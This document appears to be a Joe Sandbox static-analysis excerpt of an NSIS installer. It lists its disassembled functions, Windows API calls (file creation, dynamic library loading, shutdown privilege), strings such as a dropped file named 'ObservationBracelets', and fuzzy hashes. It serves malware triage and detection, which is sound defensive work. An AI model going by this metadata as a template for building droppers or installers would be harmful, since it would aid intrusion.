Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

NSIS Error, xrefs: 0040390E
_?=, xrefs: 00403A90
\Temp, xrefs: 00403A47
/D=, xrefs: 004039D2
NCRC, xrefs: 004039A8
SeShutdownPrivilege, xrefs: 00403C42
~nsu.tmp, xrefs: 00403B23
Error launching installer, xrefs: 00403AA9

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
Aborting: "%s", xrefs: 0040161D
CreateDirectory: "%s" created, xrefs: 00401849
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Call: %d, xrefs: 0040165A
Rename: %s, xrefs: 004018F8
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename failed: %s, xrefs: 0040194B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes failed., xrefs: 004017A1
Sleep(%d), xrefs: 0040169D
detailprint: %s, xrefs: 00401679
Jump: %d, xrefs: 00401602
Rename on reboot: %s, xrefs: 00401943

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

"F, xrefs: 00405A4B
_Nb, xrefs: 00405AFD
F, xrefs: 00405A22
RichEd32, xrefs: 00405BD4
RichEd20, xrefs: 00405BC9
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
.DEFAULT\Control Panel\International, xrefs: 004059C5
RichEdit, xrefs: 00405BF0
@jG, xrefs: 00405AF2
RichEdit20A, xrefs: 00405BE2, 00405BE7
.exe, xrefs: 00405A69

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,ObservationBracelets,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,ObservationBracelets,ObservationBracelets,00000000,00000000,ObservationBracelets,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425976,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user abort, xrefs: 00401B53
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
ObservationBracelets, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error creating "%s", xrefs: 00401AF0

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$ObservationBracelets
API String ID: 4286501637-120668775
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Null, xrefs: 004036AA
soft, xrefs: 004036A1
Inst, xrefs: 00403698
Error launching installer, xrefs: 00403603
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00425976,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

pAB, xrefs: 004033AB
(]C, xrefs: 004033FD
vYB, xrefs: 0040346F, 0040348A, 00403513
... %d%%, xrefs: 004034C8

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$vYB
API String ID: 651206458-4057001449
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00425976,74DF23A0,00000000), ref: 00404FD6
